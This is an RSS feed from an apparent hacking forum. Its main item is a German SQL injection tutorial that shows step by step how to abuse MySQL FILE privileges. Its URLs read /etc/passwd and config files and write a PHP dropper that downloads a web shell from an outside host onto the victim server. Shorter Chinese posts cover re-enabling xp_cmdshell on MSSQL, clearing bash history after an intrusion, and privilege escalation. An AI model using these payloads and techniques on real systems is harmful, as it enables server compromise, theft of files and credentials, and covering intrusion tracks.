<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title><![CDATA[milsec.net]]></title>
		<link>http://www.milsec.net/index.php</link>
		<description><![CDATA[The most recent posts in milsec.net.]]></description>
		<lastBuildDate>Fri, 03 Sep 2010 17:28:40 +0000</lastBuildDate>
		<generator>PunBB</generator>
		<item>
			<title><![CDATA[mySQL File Privilegien]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=960#p960</link>
			<description><![CDATA[<div class="codebox"><pre><code>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
#            WEBSECURITY DOCUMENTATION                #
#        --------------------------------------       #
#          SQL Injection with File Privileges         #
#        --------------------------------------       #
#                                                     #
#                                                     #
#  [+] written by fred777 [fred777.5x.to]             #
#                                                     #
******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--[0x00]-- Intro

--[0x01]-- Knowledge
   [1] Load_File
   [2] Dumpfile und Outfile

--[0x02]-- Exploiting
   [1] Privilegien mit mysql.user
   [2] Privilegien mit information_schema
   [3] Directories mittels Error
   [4] Directories mittels Configfiles
   [5] Schreiben mit DUMPFILE

--[0x03]-- Finito

********************************************************
##################################################

--[0x00]-- Intro

Willkommen zu meinem Tutorial über die File Privilegien bei SQL Injections.
Ich denke auch hier werden ich nicht jeden Befehl erklären, da er in anderen Tutorials bereits
erklärt wurde...
Neue Sachen werden selbstverständlich dokumentiert.

#############################################################

--[0x01]-- Knowledge

-------------------------------------------------------
 [1] LOAD_FILE
-------------------------------------------------------

Wir werden wie schon bekannt mit Selectqueries arbeiten, doch kommt noch etwas Neues hinzu, zum
ersten mal LOAD_FILE(). Sofern die Rechte stimmen, wird das angegebene File gelesen,
der Inhalt als String zurückgegeben und das Resultat ausgegeben.
Die Datei muss lesbar sein und kleiner sein als max_allowed_packet Bytes. Ansonsten wird NULL
zurückgegeben.
Der Syntax ist recht einfach: LOAD_FILE(&#039;&lt;absoluter pfad&gt;&#039;)

-------------------------------------------------------
 [2] Dumpfile und Outfile
-------------------------------------------------------

Kommen wir nun zu INTO OUTFILE und INTO DUMPFILE, hier werden die angegebenen Datensätze
in eine Datei (OUTFILE) geschrieben. Auch hier muss natürlich die Berechtigung stimmen.
Allerdings muss OUTFILE &#039;file&#039; ein nicht vorhandenes File sein, sonst könnte man einfach die
etc/passwd überschreiben oder Sonstiges anrichten. 
Die Datei kann von allen Benutzern geschrieben werden, da MySQL Server selbst gar keine Datei erstellen kann, 
deren Besitzer jemand anders als der eigentliche Benutzer ist, insofern ist es schlecht, 
mysqld als root auszuführen. Doch was ist der Unterschied von INTO OUTFILE und INTO DUMPFILE?
Mit Dumpfile wird nur ein Datensatz verwendet ohne lästige Zeichen wie Trennunszeichen etc..
Deshalb verwenden wir hier ebenfalls DUMPFILE.

Syntax: SELECT * INTO DUMPFILE &#039;&lt;absoluter pfad&gt;&#039;

##############################################################

--[0x02]-- Exploiting

Wir haben also eine Lücke und eine Ausgabe:
www.seite.de/index.php?id=777+union+select+1,2,3,4-- f  =&gt; 3 wird ausgegeben

Schauen wir doch gleich mal, ob magic_quotes on oder off sind, d.h. ob bestimmte Zeichen
escaped werden..

www.seite.de/index.php?id=777+union+select+1,2,&#039;test&#039;,4-- f  =&gt; test wird ausgegeben

-------------------------------------------------------
 [1] Privilegien mit mysql.user
-------------------------------------------------------

Umso besser, wir müssen nicht mit hex arbeiten. Unser Ziel ist es, am Schluss eine Shell auf den
Server zusetzen, bzw auszuführen. Zuerst schauen wir allerdings ob uns die File Privilegien gegeben sind.
Dafür gibt es mehrere Möglichkeiten dies herauszufinden. Erstens über die mysql.user Tabelle.
Wir benötigen natürlich die Rechte für aktuellen User, welchen wir mit user() auslesen können:

www.seite.de/index.php?id=777+union+select+1,2,user(),4-- f  =&gt; fred@localhost wird ausgegeben

Wie gesagt, die File Privilegien liegen als Column &#039;file_priv&#039; in der mysql.user Table:

www.seite.de/index.php?id=777+union+select+1,2,concat(username,0x3a,file_priv),4+from+mysql.user+limit+0,1 -- f  =&gt; YES

Mit Limit gehen wir die User durch und schauen wie es mit unseren steht, es wird YES ausgegeben, d.h. die Rechte
sind gegeben.

-------------------------------------------------------
 [2] Privilegien mit information_schema
-------------------------------------------------------

Die zweite Möglichkeit funktioniert nur ab Version 5 mittels der INFORMATION_SCHEMA Datenbank, auch hier sind
die Rechte gespeichert, und zwar in der Table: user_privileges
Wir sagen, wir möchten den Usernamen (grantee) und die Option (is_grantable) haben mit dem Privilegientyp FILE:

www.seite.de/index.php?id=777+union+select+1,2,concat(grantee,0x3a,is_grantable),4+from+information_schema.user_privileges+where+privilege_type=&#039;file&#039;+limit+0,1 -- f

Auch hier suchen wir mit Limit nach unserem user aus user() und schauen ob NO oder YES ausgegeben wird.
Natürlich könnten wir auch eine WHERE Bedingung starten, welche uns direkt den User ausgibt, doch damit steigt
auch die Fehlerquote, deshalb machen wir es einfach mit Limit. Man muss natürlich auf magic_quotes achten, falls
es auf ON steht, werden z.B. &#039; escaped, dann muss mit Hex gearbeitet werden.

-------------------------------------------------------
 [3] Directories mittels Error
-------------------------------------------------------

So, jetzt wissen wir, dass die nötigen Rechte gegeben sind. Da wir ja später in eine Datei schreiben möchten,
brauchen wir erstmal Informationen über das Betriebssystem, sowie den richtigen Pfad, dass unsere Datei
dann auch mittels dem Webserver freigegeben wird.
Um an den Pfad zu gelangen gibt es auch verschiedene Möglichkeiten, z.B. durch einen Error, welcher
automatisch den Pfad der Datei ausgeben kann, dies kann einfach dur einen invaliden Query passieren:

www.seite.de/index.php?id=777&#039;&#039;&#039;&#039;&#039;-- f    =&gt;

mysql_fetch_array() Error..... in /var/fred/www/mysql.php

Somit wissen wir, dass die Seite ziemlich sicher auf Linux läuft und wir können unser Load_file gleich mal testen. 
Eine Datei welche bei Linux immer vorhanden ist, ist etc/passwd.

www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;/etc/passwd&#039;),4-- f
Tada, es erscheint der Inhalt wie erwünscht.

Usere Datei später können wir also einfach nach /var/fred/www/&lt;unseredatei&gt; schreiben lassen.

Bei Windows würde der Pfad etwa so aussehen:
mysql_fetch_array()..... in C:\xampp\htdocs\sql.php
Und die Datei welche bei Windows eigentlich immer besteht ist C:\boot.ini

www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;C:\boot.ini&#039;),4-- f

-------------------------------------------------------
 [4] Directories mittels Configfiles
-------------------------------------------------------

Eine andere Methode ist die Configdatei des Webservers auszulesen, hilfreich dann z.B.
wenn kein Error erscheint. Wir nehmen mal an, es wird Apache benutzt. Häufig sitzt das
File so:

/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf

Sollte nicht Apache benutzt werden, kann man sich das Package immer noch laden und
manuell nach schauen. Um die Dateien auszulesen, benutzen wir wieder load_file()..

www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;/etc/apache/apache.conf&#039;),4-- f

-------------------------------------------------------
 [5] Schreiben mit DUMPFILE
-------------------------------------------------------

So kommen wir nun zu INTO DUMPFILE, printipiell wird einfach das was selected wird in 
eine Datei geschrieben, einfach unter Linux im TMP Ordner zu zeigen:

www.seite.de/index.php?id=777+union+select+1,2,&#039;test&#039;,4+INTO DUMPFILE+&#039;/tmp/1.txt&#039;-- f

Wir bekommen einen Error, das soll uns aber nicht aufhalten, wir benutzen load_file
um den Inhalt anzuzeigen:

www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;/tmp/1.txt&#039;),4-- f =&gt; 12test4

Es funktioniert also wunderbar.
Jetzt können wir unsere eigenen Files erstellen, eine Shell z.B., da das aber eine Menge Text
ist, wäre ein Uploader sicher besser, außerdem soll unsere Datei ja im richtigen Verzeichnis laden.
PHP Files z.B. warten ja darauf ausgeführt zu werden. Ich nehme dazu einen relativ kleinen Code,
welcher, sobald ausgeführt, eine Shell erstellt.

&lt;?$c=fopen(&quot;shell.php&quot;,&quot;a&quot;);fwrite($c,file_get_contents(&quot;http://seite.de/shell.txt&quot;));?&gt;

www.seite.de/index.php?id=777+union+select+1,2,&#039;&lt;?$c=fopen(&quot;shell.php&quot;,&quot;a&quot;);fwrite($c,file_get_contents(&quot;http://seite.de/shell.txt&quot;));?&gt;&#039;,4+into+DUMPFILE+&#039;/var/fred/www/1.php&#039;-- f

Sollte uns durch z.B. den mySQL Error nur ein Teil des Pfades gezeigt werden, 
können wir immer noch mit ../../../../../ weiter zurück springen.

www.seite.de/index.php?id=777+union+select+1,2,&#039;&lt;?$c=fopen(&quot;shell.php&quot;,&quot;a&quot;);fwrite($c,file_get_contents(&quot;http://seite.de/shell.txt&quot;));?&gt;&#039;,4+into+DUMPFILE+&#039;../../www/1.php&#039;-- f

Natürlich funktioniert das auch mit Hex, keine Angst vor der Länge des Strings:

www.seite.de/index.php?id=777+union+select+1,2,
0x3c3f24633d666f70656e28227368656c6c2e706870222c226122293b6677726974652824632c66696c655f6765745f636f6e74656e74732822687474703a2f2f73656974652e64652f7368656c6c2e7478742229293b3f3e
,4+into+dumpfile+&#039;../../www/1.php&#039;-- f

So, jetzt sollte in diesem Verzeichnis die 1.php erstell worden sein und bei Aufruf wird eine Shell erstellt, bzw. 
eine Datei mit dem Code, welcher in der TXT Datei steht. Haben wir das richtige Verzeichnis gewählt, ist die
1.php auf: www.seite.de/1.php verfügbar

Es hat also alles geklappt, unter Windows wäre das nicht viel anders abgelaufen:
Wir testen:
www.seite.de/index.php?id=777+union+select+1,2,&#039;test&#039;,4+into+dumpfile+&#039;C:\1.txt&#039;-- f 
www.seite.de/index.php?id=777+union+select+1,2,load_file(&#039;C:\1.txt&#039;),4-- f  =&gt; 12test4

Alles funktioniert, jetzt also den absoluten Pfad der Seite C:\xampp\htdocs\sql.php

und unsern lieben Text wieder:
www.seite.de/index.php?id=777+union+select+1,2,&#039;&lt;?$c=fopen(&quot;shell.php&quot;,&quot;a&quot;);fwrite($c,file_get_contents(&quot;http://seite.de/shell.txt&quot;));?&gt;&#039;,4+into+DUMPFILE+&#039;C:\xampp\htdocs\test\1.php&#039;-- f
Und das ganze aufrufen:
www.seite.de/test/1.php =&gt; Shell wird erstellt und ist unter
www.seite.de/test/shell.php verfügbar

#################################################################

--[0x03]-- Finito

So ich hoffe ihr habt alles so weit verstanden. Falls nicht, lieber noch meine anderen
Paper lesen auf fred777.5x.to</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (Akira)]]></author>
			<pubDate>Fri, 03 Sep 2010 17:28:40 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=960#p960</guid>
		</item>
		<item>
			<title><![CDATA[Re: oracle 11g Database password-hash cracker]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=959#p959</link>
			<description><![CDATA[<p>字典暴力的啊</p>]]></description>
			<author><![CDATA[dummy@example.com (Kernel@Sh)]]></author>
			<pubDate>Wed, 01 Sep 2010 14:58:47 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=959#p959</guid>
		</item>
		<item>
			<title><![CDATA[Re: The Oracle Hackers Handbook绝对好书]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=958#p958</link>
			<description><![CDATA[<p>鱼哥 哈哈</p>]]></description>
			<author><![CDATA[dummy@example.com (Kernel@Sh)]]></author>
			<pubDate>Wed, 01 Sep 2010 14:57:15 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=958#p958</guid>
		</item>
		<item>
			<title><![CDATA[Re: 入侵时.bash_history的隐患]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=956#p956</link>
			<description><![CDATA[<p>搞到最后 histrory -c&nbsp; 不知道有没有隐患？</p>]]></description>
			<author><![CDATA[dummy@example.com (hcntex)]]></author>
			<pubDate>Sun, 29 Aug 2010 10:26:46 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=956#p956</guid>
		</item>
		<item>
			<title><![CDATA[Re: some mssql tips]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=950#p950</link>
			<description><![CDATA[<p>--获得MS SQL的版本号&nbsp; //mssql版本<br />execute master..sp_msgetversion&nbsp; &nbsp;// dbo public</p><p>--得到硬盘文件信息&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//dbo public<br />--参数说明:目录名,目录深度,是否显示文件 //读取磁盘目录和文件<br />execute master..xp_dirtree &#039;c:&#039; //列出所有c:\文件和目录,子目录<br />execute master..xp_dirtree &#039;c:&#039;,1 //只列c:\文件夹<br />execute master..xp_dirtree &#039;c:&#039;,1,1 //列c:\文件夹加文件</p><p>--列出服务器上所有windows本地组<br />execute master..xp_enumgroups //dbo</p><p>--得到当前sql server服务器的计算机名称 //获得计算机名&nbsp; <br />execute master..xp_getnetname&nbsp; &nbsp;//dbo public</p><p>--列出指定目录的所有下一级子目录<br />EXEC [master].[dbo].[xp_subdirs] &#039;c:\WINNT&#039; //可以列目录</p><p>--列出服务器上固定驱动器,以及每个驱动器的可用空间<br />execute master..xp_fixeddrives&nbsp; &nbsp;//dbo public</p><p>--显示系统上可用的盘符<br />execute master..xp_availablemedia&nbsp; &nbsp;//dbo</p><p>--获取某文件的相关属性<br />execute master..xp_getfiledetails &#039;C:1.txt&#039;&nbsp; //dbo public</p><p>--统计数据库里每个表的详细情况<br />exec sp_MSforeachtable &#039;sp_spaceused &#039;&#039;?&#039;&#039;&#039; //查询表 //dbo public</p><p>--获得每个表的记录数和容量<br />exec sp_MSforeachtable &#039;select &#039;&#039;?&#039;&#039;&#039;,&#039;?&#039;, &#039;sp_spaceused &#039;&#039;?&#039;&#039;&#039;, &#039;SELECT count(*) FROM ? &#039;&nbsp; //dbo pubilc</p><p>--更新Table1/Table2中note列为NULL的值<br />sp_MSforeachtable &#039;Update ? Set note=&#039;&#039;&#039;&#039; Where note is null&#039;,null,null,null,&#039; AND o.name in (&#039;&#039;Table1&#039;&#039;,&#039;&#039;Table2&#039;&#039;)</p><p>--列出服务器域名<br />xp_ntsec_enumdomains //机器名 //dbo public</p><p>--停止或者启动某个服务<br />xp_servicecontrol &#039;stop&#039;,&#039;schedule&#039; //schedule是服务得名称&nbsp; //dbo</p><p>--用pid来停止某个执行中的程序<br />xp_terminate_process 123 //123是pid //dbo</p><p>--只列某个目录下的子目录<br />dbo.xp_subdirs &#039;C:&#039; //dbo</p><p>--服务器安全模式信息<br />xp_loginconfig&nbsp; //dbo</p><br /><p>xp_regaddmultistring<br />xp_regdeletekey<br />xp_regdeletevalue<br />xp_regenumkeys<br />xp_regenumvalues<br />xp_regread<br />xp_regremovemultistring<br />xp_regwrite</p><p>--将新扩展存储过程的名称注册到 Microsoft? SQL Server? 上。<br />sp_addextendedproc xp_cmdshell,@dllname=&#039;xplog70.dll&#039; //恢复xp_cmdshell</p><p>恢复过程sp_addextendedproc 如下：<br />create procedure sp_addextendedproc --- 1996/08/30 20:13<br />@functname nvarchar(517),/* (owner.)name of function to call */<br />@dllname varchar(255)/* name of DLL containing function */<br />as<br />set implicit_transactions off<br />if @@trancount &gt; 0<br />begin<br />raiserror(15002,-1,-1,&#039;sp_addextendedproc&#039;)<br />return (1)<br />end<br />dbcc addextendedproc( @functname, @dllname)<br />return (0) -- sp_addextendedproc</p><p>创建新的 Microsoft? SQL Server? 登录//只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin。</p>]]></description>
			<author><![CDATA[dummy@example.com (Sh@doM)]]></author>
			<pubDate>Wed, 18 Aug 2010 03:01:14 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=950#p950</guid>
		</item>
		<item>
			<title><![CDATA[Re: 几个bash script tips吧]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=948#p948</link>
			<description><![CDATA[<p>grep -r -n &#039;XXX&#039;&nbsp; * 查找存在xxx信息的文件&nbsp; &nbsp;<img src="http://www.milsec.net/img/smilies/smile.png" width="15" height="15" alt="smile" /></p>]]></description>
			<author><![CDATA[dummy@example.com (trust)]]></author>
			<pubDate>Fri, 13 Aug 2010 12:01:18 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=948#p948</guid>
		</item>
		<item>
			<title><![CDATA[Re: Super Bluetooth Hack]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=947#p947</link>
			<description><![CDATA[<p>貌似不杂好用...</p>]]></description>
			<author><![CDATA[dummy@example.com (trust)]]></author>
			<pubDate>Fri, 13 Aug 2010 11:56:13 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=947#p947</guid>
		</item>
		<item>
			<title><![CDATA[Re: aircrack-ptw – Fast WEP Cracking Tool for Wireless Hacking]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=946#p946</link>
			<description><![CDATA[<p>nice!! thx</p>]]></description>
			<author><![CDATA[dummy@example.com (trust)]]></author>
			<pubDate>Fri, 13 Aug 2010 11:55:01 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=946#p946</guid>
		</item>
		<item>
			<title><![CDATA[Re: 一些linux下面的后门和键盘记录工具]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=945#p945</link>
			<description><![CDATA[<p>都有了...路过下......</p>]]></description>
			<author><![CDATA[dummy@example.com (bnzm5270)]]></author>
			<pubDate>Fri, 13 Aug 2010 11:27:46 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=945#p945</guid>
		</item>
		<item>
			<title><![CDATA[Re: 问个提权问题]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=943#p943</link>
			<description><![CDATA[<p>这个是需要修改整个文件夹对应的用户的操作权限吧，单独的修改一个肯定不能成功的</p>]]></description>
			<author><![CDATA[dummy@example.com (Sh@doM)]]></author>
			<pubDate>Tue, 10 Aug 2010 08:42:49 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=943#p943</guid>
		</item>
		<item>
			<title><![CDATA[Re: Nokia N900]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=942#p942</link>
			<description><![CDATA[<p>I have N900,and expoilt it</p>]]></description>
			<author><![CDATA[dummy@example.com (yorkz)]]></author>
			<pubDate>Sun, 08 Aug 2010 11:27:36 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=942#p942</guid>
		</item>
		<item>
			<title><![CDATA[Re: 如何升级内核到2.6.34]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=941#p941</link>
			<description><![CDATA[<p>oger 我来当小白了，今天晚上升级，哈哈</p>]]></description>
			<author><![CDATA[dummy@example.com (lxvison)]]></author>
			<pubDate>Sat, 07 Aug 2010 14:02:50 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=941#p941</guid>
		</item>
		<item>
			<title><![CDATA[Re: 问个提权问题]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=940#p940</link>
			<description><![CDATA[<p>无关回复就不要回啦.我也知道目录没执行权限.回的时候起码告诉一声,一般那些目录可能会有执行权限,如何查看执行权限目录之类的吧..<br />三个回复有2个是打好基础..<br />废话不是..</p><p>基础好我还问啥.</p>]]></description>
			<author><![CDATA[dummy@example.com (robert)]]></author>
			<pubDate>Fri, 06 Aug 2010 08:28:55 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=940#p940</guid>
		</item>
		<item>
			<title><![CDATA[Re: 问个提权问题]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=939#p939</link>
			<description><![CDATA[<p>哈哈&nbsp; 还是打好基础要紧 <img src="http://www.milsec.net/img/smilies/lol.png" width="15" height="15" alt="lol" /></p>]]></description>
			<author><![CDATA[dummy@example.com (pg5yl8)]]></author>
			<pubDate>Fri, 06 Aug 2010 01:01:46 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=939#p939</guid>
		</item>
		<item>
			<title><![CDATA[Re: 入侵时.bash_history的隐患]]></title>
			<link>http://www.milsec.net/viewtopic.php?pid=938#p938</link>
			<description><![CDATA[<p>操作mysql的时候也有.mysql_history的记录的</p>]]></description>
			<author><![CDATA[dummy@example.com (kindle)]]></author>
			<pubDate>Wed, 04 Aug 2010 17:50:12 +0000</pubDate>
			<guid>http://www.milsec.net/viewtopic.php?pid=938#p938</guid>
		</item>
	</channel>
</rss>
